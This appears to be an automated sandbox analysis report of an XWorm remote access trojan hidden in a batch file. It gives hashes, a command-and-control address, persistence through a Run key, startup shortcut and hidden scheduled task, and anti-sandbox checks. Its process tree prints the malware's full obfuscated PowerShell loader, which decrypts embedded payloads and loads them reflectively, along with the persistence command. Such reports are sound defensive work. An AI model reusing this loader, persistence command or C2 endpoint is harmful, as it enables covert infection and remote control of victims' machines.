xworm | f1114a9029232440f9a4ffe7590772b4f7e331858a0654667239c480d1891083

Analysis

max time kernel
48s
max time network
39s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
21-01-2025 22:47

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General

Target

Infectedare.bat
Size

370KB
MD5

e671e31016657dd61b18872fbfcfd772
SHA1

2944b453f4e811ef50374b0de7a8eec3fd056245
SHA256

f1114a9029232440f9a4ffe7590772b4f7e331858a0654667239c480d1891083
SHA512

3ed8b4bdb0beb9c85ae10ae41b26efa103c0e789389547a2c4cc1e459d70cf6a83a3c69d448ad0a913721395acb82908ab64c6967e7103a445665f75b7410568
SSDEEP

6144:O87ZMusUnaeMl3lQS6v0hD6FJn1PKhCTy4hshu0gClRQXK0U:OwVHnL0lQFG671iPs2Q6J

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

real-enquiry.gl.at.ply.gg:15403

Mutex

Twor9QJPgxqGUGz9

Attributes

Install_directory
%Public%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1996-74-0x00000165C8740000-0x00000165C8750000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	1996	powershell.exe
28	1996	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
648	powershell.exe
4744	powershell.exe
1996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840112915FB18"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
648	powershell.exe
648	powershell.exe
4744	powershell.exe
4744	powershell.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3860	taskmgr.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	648	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	3860	taskmgr.exe
Token: SeSystemProfilePrivilege	3860	taskmgr.exe
Token: SeCreateGlobalPrivilege	3860	taskmgr.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe

Suspicious use of FindShellTrayWindow 58 IoCs

pid	Process
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe

Suspicious use of SendNotifyMessage 57 IoCs

pid	Process
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe
3860	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 780	1008	cmd.exe	85
PID 1008 wrote to memory of 780	1008	cmd.exe	85
PID 1008 wrote to memory of 648	1008	cmd.exe	86
PID 1008 wrote to memory of 648	1008	cmd.exe	86
PID 648 wrote to memory of 4744	648	powershell.exe	89
PID 648 wrote to memory of 4744	648	powershell.exe	89
PID 648 wrote to memory of 2820	648	powershell.exe	95
PID 648 wrote to memory of 2820	648	powershell.exe	95
PID 2820 wrote to memory of 3304	2820	WScript.exe	96
PID 2820 wrote to memory of 3304	2820	WScript.exe	96
PID 3304 wrote to memory of 4960	3304	cmd.exe	99
PID 3304 wrote to memory of 4960	3304	cmd.exe	99
PID 3304 wrote to memory of 1996	3304	cmd.exe	100
PID 3304 wrote to memory of 1996	3304	cmd.exe	100
PID 1996 wrote to memory of 3860	1996	powershell.exe	94
PID 1996 wrote to memory of 3628	1996	powershell.exe	57
PID 1996 wrote to memory of 1768	1996	powershell.exe	31
PID 1996 wrote to memory of 3776	1996	powershell.exe	58
PID 1996 wrote to memory of 384	1996	powershell.exe	13
PID 1996 wrote to memory of 2156	1996	powershell.exe	91
PID 1996 wrote to memory of 968	1996	powershell.exe	12
PID 1996 wrote to memory of 1164	1996	powershell.exe	19
PID 1996 wrote to memory of 436	1996	powershell.exe	14
PID 1996 wrote to memory of 3320	1996	powershell.exe	74
PID 1996 wrote to memory of 1140	1996	powershell.exe	18
PID 1996 wrote to memory of 1412	1996	powershell.exe	25
PID 1996 wrote to memory of 2312	1996	powershell.exe	41
PID 1996 wrote to memory of 1324	1996	powershell.exe	22
PID 1996 wrote to memory of 732	1996	powershell.exe	16
PID 1996 wrote to memory of 1212	1996	powershell.exe	20
PID 1996 wrote to memory of 1712	1996	powershell.exe	30
PID 1996 wrote to memory of 1224	1996	powershell.exe	21
PID 1996 wrote to memory of 920	1996	powershell.exe	11
PID 1996 wrote to memory of 3516	1996	powershell.exe	56
PID 1996 wrote to memory of 3280	1996	powershell.exe	53
PID 1996 wrote to memory of 1500	1996	powershell.exe	26
PID 1996 wrote to memory of 2484	1996	powershell.exe	44
PID 1996 wrote to memory of 1888	1996	powershell.exe	37
PID 1996 wrote to memory of 704	1996	powershell.exe	15
PID 1996 wrote to memory of 2476	1996	powershell.exe	43
PID 1996 wrote to memory of 2060	1996	powershell.exe	70
PID 1996 wrote to memory of 2180	1996	powershell.exe	38
PID 1996 wrote to memory of 2448	1996	powershell.exe	42
PID 1996 wrote to memory of 1852	1996	powershell.exe	32
PID 1996 wrote to memory of 1260	1996	powershell.exe	67
PID 1996 wrote to memory of 1648	1996	powershell.exe	29
PID 1996 wrote to memory of 2040	1996	powershell.exe	35
PID 1996 wrote to memory of 2232	1996	powershell.exe	40
PID 1996 wrote to memory of 1048	1996	powershell.exe	36
PID 1996 wrote to memory of 1632	1996	powershell.exe	28
PID 1996 wrote to memory of 2024	1996	powershell.exe	34
PID 1996 wrote to memory of 1620	1996	powershell.exe	27
PID 1996 wrote to memory of 2604	1996	powershell.exe	46
PID 1996 wrote to memory of 2800	1996	powershell.exe	49
PID 1996 wrote to memory of 2404	1996	powershell.exe	71
PID 1996 wrote to memory of 3380	1996	powershell.exe	55
PID 1996 wrote to memory of 2000	1996	powershell.exe	33
PID 1996 wrote to memory of 816	1996	powershell.exe	10
PID 1996 wrote to memory of 2588	1996	powershell.exe	45
PID 1996 wrote to memory of 3588	1996	powershell.exe	66
PID 1996 wrote to memory of 1400	1996	powershell.exe	24
PID 1996 wrote to memory of 2776	1996	powershell.exe	48
PID 1996 wrote to memory of 1392	1996	powershell.exe	23
PID 1996 wrote to memory of 4532	1996	powershell.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:816
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:4712
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2312

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3516

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infectedare.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DdoSrpUBaSJcrQsKjNDxuXnsHznMx0WRWlsMlqm7uy0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/tJs4HXH4CDOhyj6Y+OceQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jEakL=New-Object System.IO.MemoryStream(,$param_var); $NjQMz=New-Object System.IO.MemoryStream; $cxUYW=New-Object System.IO.Compression.GZipStream($jEakL, [IO.Compression.CompressionMode]::Decompress); $cxUYW.CopyTo($NjQMz); $cxUYW.Dispose(); $jEakL.Dispose(); $NjQMz.Dispose(); $NjQMz.ToArray();}function execute_function($param_var,$param2_var){ $zlHrf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lIceX=$zlHrf.EntryPoint; $lIceX.Invoke($null, $param2_var);}$hAKRH = 'C:\Users\Admin\AppData\Local\Temp\Infectedare.bat';$host.UI.RawUI.WindowTitle = $hAKRH;$PxJba=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hAKRH).Split([Environment]::NewLine);foreach ($uelCi in $PxJba) { if ($uelCi.StartsWith('CQRofiELyyBgSCtLbgFH')) { $TzIzN=$uelCi.Substring(20); break; }}$payloads_var=[string[]]$TzIzN.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_220_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_220.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4744
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_220.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_220.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3304
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DdoSrpUBaSJcrQsKjNDxuXnsHznMx0WRWlsMlqm7uy0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/tJs4HXH4CDOhyj6Y+OceQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jEakL=New-Object System.IO.MemoryStream(,$param_var); $NjQMz=New-Object System.IO.MemoryStream; $cxUYW=New-Object System.IO.Compression.GZipStream($jEakL, [IO.Compression.CompressionMode]::Decompress); $cxUYW.CopyTo($NjQMz); $cxUYW.Dispose(); $jEakL.Dispose(); $NjQMz.Dispose(); $NjQMz.ToArray();}function execute_function($param_var,$param2_var){ $zlHrf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lIceX=$zlHrf.EntryPoint; $lIceX.Invoke($null, $param2_var);}$hAKRH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_220.bat';$host.UI.RawUI.WindowTitle = $hAKRH;$PxJba=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hAKRH).Split([Environment]::NewLine);foreach ($uelCi in $PxJba) { if ($uelCi.StartsWith('CQRofiELyyBgSCtLbgFH')) { $TzIzN=$uelCi.Substring(20); break; }}$payloads_var=[string[]]$TzIzN.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4960
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1996
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
